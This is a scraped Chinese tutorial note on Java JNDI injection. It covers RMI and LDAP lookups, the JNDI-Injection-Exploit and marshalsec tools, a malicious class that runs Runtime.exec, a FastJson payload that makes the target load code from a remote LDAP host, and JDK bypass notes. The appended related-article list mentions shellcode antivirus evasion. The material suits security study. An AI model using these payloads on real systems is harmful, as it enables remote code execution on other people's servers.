037-安全开发-JavaEE应用JNDI注入RMI服务LDAP服务JDK绕过调用链类

037-安全开发-JavaEE应用&JNDI注入&RMI服务&LDAP服务&JDK绕过&调用链类

Untitled

#知识点:

1、JavaEE-JNDI注入-RMI&LDAP
2、JavaEE-漏洞结合-FastJson链
3、JavaEE-漏洞条件-JDK版本绕过

演示案例:

➢JNDI注入-RMI&LDAP服务
➢JNDI注入-FastJson漏洞结合
➢JNDI注入-JDK高版本注入绕过

Untitled

Untitled

思考明白:
什么是jndi注入
为什么有jndi注入
JDNI注入安全问题
JDNI注入利用条件
参考:https://blog.csdn.net/dupei/article/details/120534024

#JNDI注入-RMI&LDAP服务

JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议

调用检索:
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。javax.naming.InitialContext.lookup()
在RMI服务中调用了InitialContext.lookup()的类有:

org.springframework.transaction.jta.JtaTransactionManager.readObject()
**com.sun.rowset.JdbcRowSetImpl.execute()**
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

在LDAP服务中调用了InitialContext.lookup()的类有:

InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()

JNDI远程调用-JNDI-Injection

  • 创建一个rmi ldap等服务调用 实例化对象
new InitialContext().lookup("rmi://47.243.50.47:1099/ptbddl");
  • 调用rmi ldap等服务对象类(远程服务
    ldap://47.94.236.117:1389/nx5qkh = 远程地址的一个class文件被执行
new InitialContext().lookup("ldap://47.243.50.47:1389/ptbddl");

基于工具自主定义(节省下述2,4步骤)
1、使用远程调用(默认端口1389)
new InitialContext().lookup(“ldap://47.243.50.47:1389/ptbddl”);
new InitialContext().lookup(“rmi://47.243.50.47:1099/ptbddl”);

package com.example.jndi;import javax.naming.InitialContext;
import javax.naming.NamingException;public class JndiDemo {public static void main(String[] args) throws NamingException {new InitialContext().lookup("rmi://47.243.50.47:1099/ptbddl");new InitialContext().lookup("ldap://47.243.50.47:1389/ptbddl");}
}

2、使用利用工具生成调用地址
**java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx**

Untitled

Untitled

遇到问题:可以进行工具发送,但无法访问到指向类进行报错(JDK版本太高)

原因:JDK版本太高,对远程访问进行拦截

解决方式:更换低版本的JDK,即可成功

Untitled

Untitled

遇到问题:linux中运行JNDI-Injection,报错Address already in use
  • 原因:之前运行的该程序占用了端口,导致无法运行

Untitled

  • 解决方式:

    • netstat -tulpn(查询端口)

      Untitled

      Untitled

    • kill 2320 (停止端口)

      Untitled

  • 成功调用

Untitled

遇到问题:**JNDI-Injection-Exploit**不能进行正常的发送,和接收

原因:防火墙的原因

解决方式:关闭虚拟机和本机的防火墙即可访问成功

Untitled

JNDI远程调用-marshalsec

1、创建调用对象,编译调用对象

Untitled

javac Test.java

特别注意:要保证java和javac的版本一致,且都是1.8的低版本1.8.0_112

2、将生成的Class存放访问路径,并检查是否可访问到

建一个简单的WEB页面,又不想配置apache或者Nginx,并把需要共享的目录或者文件都以HTTP的方式展示出来。Python自带http服务,并且使用起来也非常简单。

python -m SimpleHTTPServer

服务启动,默认端口为 8000

Untitled

服务起来后,

如果是本地或者内网环境打开浏览器 访问 localhost:8000 或者 127.0.0.1:8000

如果是云服务器则,替换为对应的云服务器ip地址即可,端口号不变: http://47.243.50.47:8000/

就可以访问初始web页面了

Untitled

Untitled

Untitled

Untitled

3、使用利用工具生成调用协议(rmi,ldap)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://47.243.50.47/TestJndi

Untitled

4、使用远程调用(默认端口1389)

new InitialContext().lookup(“ldap://xx.xx.xx.xx:1389/Test”);
new InitialContext().lookup(“rmi://xx.xx.xx.xx:1099/Test”);

Untitled

Untitled

Untitled

JNDI-Injection & marshalsec 实现原理:

例:RMI调用
bind:将名称绑定到对象中;
lookup:通过名字检索执行的对象;
Reference类表示对存在于命名/目录系统以外的对象的引用。
Reference参数:
className:远程加载时所使用的类名;
classFactory:加载的class中需要实例化类的名称;
classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

  1. Registry首先启动,并监听一个端口,一般是1099:

    Registry registry = LocateRegistry.createRegistry(1099);
    

    在这里,createRegistry(1099) 方法启动 RMI 注册表,并监听在端口 1099 上。

  2. Server向Registry注册远程对象:

    Reference reference = new Reference("Calc", "Calc", "http://localhost/");
    ReferenceWrapper wrapper = new ReferenceWrapper(reference);
    registry.bind("calc", wrapper);
    

    服务器创建一个 Reference 对象,包含用于远程加载的类信息,然后将该 Reference 对象包装成 ReferenceWrapper,最后通过 registry.bind 注册到 RMI 注册表中,使用名字 “calc”。

  3. Client从Registry获取远程对象的代理:

    Object remoteObject = context.lookup("rmi://47.94.236.117:1099/calc");
    

    客户端获取 RMI 注册表的上下文,并通过 lookup 方法查找名为 “calc” 的远程对象,返回其代理。

  4. Client通过这个代理调用远程对象的方法:

    // 可以将返回的 remoteObject 转换为具体的远程接口类型,然后调用远程方法
    // 例如:CalcInterface calc = (CalcInterface) remoteObject;
    // 远程方法调用示例
    // 例如:calc.performCalculation();
    

    客户端通过获得的代理对象调用远程对象的方法。

  5. Server端的代理接收到Client端调用的方法,参数,Server端执行相对应的方法:
    在服务器端,RMI 框架接收到客户端调用的方法、参数等信息,并通过相应的远程对象执行对应的方法。

  6. Server端的代理将执行结果返回给Client端代理:
    执行结果将通过 RMI 框架返回给客户端的代理对象,使客户端能够获取到远程方法的执行结果。

Untitled

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Reference;
import java.rmi.server.ReferenceWrapper;public class RMIServer {public static void main(String[] args) throws Exception {// 创建 RMI 注册表并监听在 1099 端口上Registry registry = LocateRegistry.createRegistry(1099);**// 创建一个包含类信息的 Reference 对象// className: 远程加载时所使用的类名// classFactory: 加载的类中需要实例化的类的名称// classFactoryLocation: 远程加载类的地址,提供 classes 数据的地址可以是 file/ftp/http 等协议Reference reference = new Reference("Calc", "Calc", "http://localhost/");**// 使用 Reference 对象创建 ReferenceWrapper 对象ReferenceWrapper wrapper = new ReferenceWrapper(reference);// 将包装后的 Reference 对象绑定到 RMI 注册表上,使用名字 "calc"registry.bind("calc", wrapper);}
}
import java.lang.Runtime;public class Calc {public Calc() throws Exception{Runtime.getRuntime().exec("mstsc");}
}

JNDI-Injection & marshalsec 区别:

LDAP - marshalsec工具
JDK 17
11版本
8u362
8U112 都可以

RMI marshalsec工具
JDK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以

LDAP - jndi-inject工具
JDK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以

RMI jndi-inject工具
JDK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以

1.jndi - rmi ldap服务
2**.rmi ldap** 都可以进行远程调用对象 可以远程执行java代码class文件
3.攻击利用中就用到了jndi-inject项目和marshalsec
4.发现 jdk高版本会影响rmi和ldap的利用(marshalsec针对ldap有高版本绕过

Untitled

5. 利用要知道其他类也能调用jndi注入(rmi,ldap)

Untitled

#JNDI注入-FastJson漏洞结合

背景:JavaEE中接受用户提交的JSON数据进行转换(FastJson反序列化漏洞)
思路:利用InitialContext.lookup()中的进行JdbcRowSetImpl类JNDI服务注入
漏洞利用==FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性验证,==攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。

1、报错判断FastJson(黑盒:数据写错,发现返回包是对应的fastjson包)

Untitled

2、创建对应的FastJson项目

Untitled

Untitled

// 导入必要的包
package com.example.fsjndidome;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;// 定义一个带有 "/json" 映射的 Servlet
@WebServlet("/json")
public class Fsweb extends HelloServlet {// 重写 doPost 方法以处理 HTTP POST 请求@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// 从名为 "str" 的请求参数中检索 JSON 数据String jsondata = req.getParameter("str");// 将接收到的 JSON 数据打印到控制台System.out.println(jsondata);// 使用 fastjson 解析 JSON 数据为 JSONObjectJSONObject jsonObject = JSON.parseObject(jsondata);// 打印解析后的 JSONObject 到控制台System.out.println(jsonObject);}
}
<body>
<h1><%= "Hello World!" %>
</h1>
<br/>
<a href="hello-servlet">Hello Servlet</a>
**<form action="/FSJNDIDome_war_exploded/json" method="post">please input json data:<input type="text" name="str"><br><input type="submit" value="提交">**
</form>
</body>
</html>

3、生成远程调用方法

**java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 192.168.200.130**

Untitled

4、提交JSON数据Payload

{“@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“ldap://192.168.200.130:1389/rbrx0t”,“autoCommit”:true}

Untitled

Untitled

总结:

Untitled

#JNDI注入-JDK高版本注入绕过

JDK 6u45、7u21之后:
java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,
将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。
使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

JDK 6u141、7u131、8u121之后:
增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,
因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:
增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,
禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

高版本绕过:
https://www.mi1k7ea.com/2020/09/07/浅析高低版JDK下的JNDI注入及绕过/https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/686382.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一文彻底搞懂MySQL主从同步

文章目录 1. 简介2. 基本原理3. 实现方式4. 常见的主从架构模式4.1 一主一从4.2 一主多从4.3 双M4.4 联级复制4.5 多主一从 5. 常见问题 1. 简介 MySQL主从同步是一种数据库复制技术&#xff0c;它可以将一台MySQL数据库&#xff08;称为主服务器&#xff09;的数据复制到另一…

阿里云香港服务器cn2速度测试和租用价格表

阿里云香港服务器中国香港数据中心网络线路类型BGP多线精品&#xff0c;中国电信CN2高速网络高质量、大规格BGP带宽&#xff0c;运营商精品公网直连中国内地&#xff0c;时延更低&#xff0c;优化海外回中国内地流量的公网线路&#xff0c;可以提高国际业务访问质量。阿里云服务…

YOLO v5项目实战 P5 解决运行detect文件时设置了--view-img但是显示不出来的问题

up主讲的实时显示目标检测后的图片的两种方法&#xff1a; &#xff08;1&#xff09;在下面的Terminal中输入下列命令&#xff1a; python detect.py --view-img &#xff08;2&#xff09;点击进入右上方的detect的Edit Configurations 然后在这个参数这里输入 --view img…

人工智能学习与实训笔记(八):百度飞桨套件使用方法介绍

人工智能专栏文章汇总&#xff1a;人工智能学习专栏文章汇总-CSDN博客 本篇目录 八、百度飞桨套件使用 8.1 飞桨预训练模型套件PaddleHub 8.1.1 一些本机CPU可运行的飞桨预训练简单模型&#xff08;亲测可用&#xff09; 8.1.1.1 人脸检测模型 8.1.1.2 中文分词模型 8.1…

自然语言编程系列(四):GPT-4对编程开发的支持

在编程开发领域&#xff0c;GPT-4凭借其强大的自然语言理解和代码生成能力&#xff0c;能够深刻理解开发者的意图&#xff0c;并基于这些需求提供精准的编程指导和解决方案。对于开发者来说&#xff0c;GPT-4能够在代码片段生成、算法思路设计、模块构建和原型实现等方面给予开…

《数字电子电路》 课程设计:十字路口红绿灯自动控制系统(上)(multisim仿真及PCB实现)

&#xff08;一&#xff09;前言 本系列文章就笔者在大二下学期进行《数字电子线路》课程设计的题目&#xff1a;十字路口红绿灯自动控制系统 进行详细的讲解&#xff0c;希望对读者有所帮助。 &#xff08;二&#xff09;目录 一、主要指标及要求 二、电路工作原理 1、工作原…

P15---总电磁转矩T

正弦波驱动模式工作的永磁同步电动机的总电磁转矩 T clear clc% 15页表达式 syms Omega theta E I e_A E*sind(theta) e_B E*sind(theta-120) e_C E*sind(theta-240)i_A I*sind(theta) i_B I*sind(theta-120) i_C I*sind(theta-240)P e_A*i_A e_B*i_B e_C*i_CT P/Om…

Unity设备分级策略

Unity设备分级策略 前言 之前自己做的设备分级策略&#xff0c;在此做一个简单的记录和思路分享。希望能给大家带来帮助。 分级策略 根据拟定的评分标准&#xff0c;预生成部分已知机型的分级信息&#xff0c;且保存在包内&#xff1b;如果设备没有被评级过&#xff0c;则优…

QKD安全攻击防御方案分析和分级评估研究报告

今天分享的是行业报告&#xff1a;《QKD安全攻击防御方案分析和分级评估研究报告》 &#xff08;内容出品方&#xff1a;量子信息网络产业联盟&#xff09; 报告共计&#xff1a;180页 来源&#xff1a;《见鹿报告》 前言 量子通信是量子信息科学的重要分支&#xff0c;它…

572. 另一棵树的子树

Problem: 572. 另一棵树的子树 文章目录 思路解题方法复杂度Code 思路 这个问题可以通过序列化树和KMP算法来解决。首先&#xff0c;我们将两棵树都序列化为一个字符串列表&#xff0c;然后使用KMP算法来检查第二棵树的序列化结果是否为第一棵树的子串。 解题方法 首先&#xf…

【大模型】0.5B的大模型通义千问1.5-0.5B-Chat来了!!

【大模型】0.5B的大模型通义千问1.5-0.5B-Chat来了&#xff01;&#xff01; 模型介绍训练细节Requirements拉取模型示例代码多轮对话测试输出示例资源占用参考 模型介绍 Qwen1.5是Qwen2的测试版&#xff0c;这是一个基于转换器的纯解码器语言模型&#xff0c;在大量数据上进行…

快速实现Python/Flask静默获取微信公众号OpenID的完整指南及代码

初步简介 初始授权请求&#xff1a;用户访问 /api/wx_api/get_wx_openid 路由时&#xff0c;服务器端会生成一个微信授权URL&#xff0c;该URL指向微信的授权页面&#xff0c;并包含了必要的查询参数&#xff08;如appid、redirect_uri、response_type、scope、state&#xff0…

位运算(一)

位运算注意事项 整形在计算机中是以补码的形式进行存储的&#xff0c;因此位运算也是在补码的基础上进行操作的。 复习&#xff1a;正数&#xff1a;原码反码补码 负数&#xff1a;反码原码取反(除符号位) 补码反码1 位运算~&#xff1a;按位取反&#xff08;在补码上按位取…

Shellcode免杀对抗(Python)

Shellcode Python免杀&#xff0c;绕过360安全卫士、火绒安全、Defender Python基于cs/msf的上线 cs 执行代码2种可供选择 执行代码 1&#xff1a; rwxpage ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40) ctypes.windll.kernel32.RtlMoveMemory…

HTTP 请求 400错误

问题 HTTP 请求 400错误 详细问题 客户端发送请求 public static UserInfo updateUserInfo(UserInfo userInfo) {// 创建 OkHttpClient 对象OkHttpClient client new OkHttpClient();// 创建请求体MediaType JSON MediaType.parse("application/json; charsetutf-8&…

代码随想录算法训练营第三十四天丨860.柠檬水找零、406. 根据身高重建队列、860. 柠檬水找零

860. 柠檬水找零 遇到顾客给20块的&#xff0c;优先拿10块的找给他。 class Solution:def lemonadeChange(self, bills: List[int]) -> bool:change {5: 0, 10: 0}for bill in bills:if bill 5:change[5] 1elif bill 10:if change[5] < 1:return Falsechange[5] - …

目标检测算法之YOLOv5的应用实例(医疗影像辅助诊断领域应用的详解)

在医疗影像辅助诊断领域,YOLOv5可以被应用于快速而准确地识别和定位医学影像中的关键结构,比如肿瘤、器官或病变区域。这有助于医生更有效地分析影像资料,提高诊断的准确性和效率。以下是一个使用YOLOv5在医学影像上进行病灶检测的基本代码示例: import cv2 import torch …

Java实现停车场收费系统 JAVA+Vue+SpringBoot+MySQL

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 停车位模块2.2 车辆模块2.3 停车收费模块2.4 IC卡模块2.5 IC卡挂失模块 三、系统设计3.1 用例设计3.2 数据库设计3.2.1 停车场表3.2.2 车辆表3.2.3 停车收费表3.2.4 IC 卡表3.2.5 IC 卡挂失表 四、系统实现五、核心代码…

sqlserver 子查询 =,in ,any,some,all的用法

在 SQL Server 中&#xff0c;子查询常用于嵌套在主查询中的子句中&#xff0c;以便根据子查询的结果集来过滤主查询的结果&#xff0c;或者作为主查询的一部分来计算结果。 以下是 、IN、ANY、SOME 和 ALL 运算符在子查询中的用法示例&#xff1a; 使用 运算符进行子查询&a…

android11以上SD卡存储权限适配申请问题

在Android 11&#xff08;API级别30&#xff09;及以上版本中&#xff0c;应用需要获得MANAGE_EXTERNAL_STORAGE权限。这个权限允许应用访问设备上的所有文件&#xff0c;而不仅仅是它自己的文件。然而&#xff0c;由于这个权限对用户的隐私有潜在的影响&#xff0c;因此Google…